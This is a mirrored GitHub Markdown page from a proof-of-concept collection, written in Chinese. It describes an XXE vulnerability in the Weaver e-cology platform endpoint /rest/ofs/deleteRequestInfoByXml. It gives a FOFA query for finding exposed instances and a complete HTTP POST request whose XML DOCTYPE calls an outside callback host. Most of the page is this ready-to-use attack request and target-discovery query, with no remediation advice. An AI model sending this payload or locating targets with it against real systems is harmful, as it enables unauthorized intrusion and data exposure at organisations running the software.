mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-05 02:15:30 +00:00
24 lines
598 B
Markdown
24 lines
598 B
Markdown
|
# 泛微E-Cology系统接口deleteRequestInfoByXml存在XXE漏洞
|
|||
|
|
|
|||
|
|
泛微e-cology是一款由泛微网络科技开发的协同管理平台，支持人力资源、财务、行政等多功能管理和移动办公。泛微e-cology系统接口`/rest/ofs/deleteRequestInfoByXml` 存在XXE漏洞
|
|||
|
|
|
|||
|
|
## fofa
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
app="泛微-协同商务系统"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## poc
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
POST /rest/ofs/deleteRequestInfoByXml HTTP/1.1
|
|||
|
|
Host:
|
|||
|
|
Content-Type: application/xml
|
|||
|
|
Content-Length: 131
|
|||
|
|
|
|||
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|||
|
|
<!DOCTYPE syscode SYSTEM "http://hsdtcwwetk.dgrh3.cn">
|
|||
|
|
<M><syscode>&send;</syscode></M>
|
|||
|
|
```
|
|||
|
|
|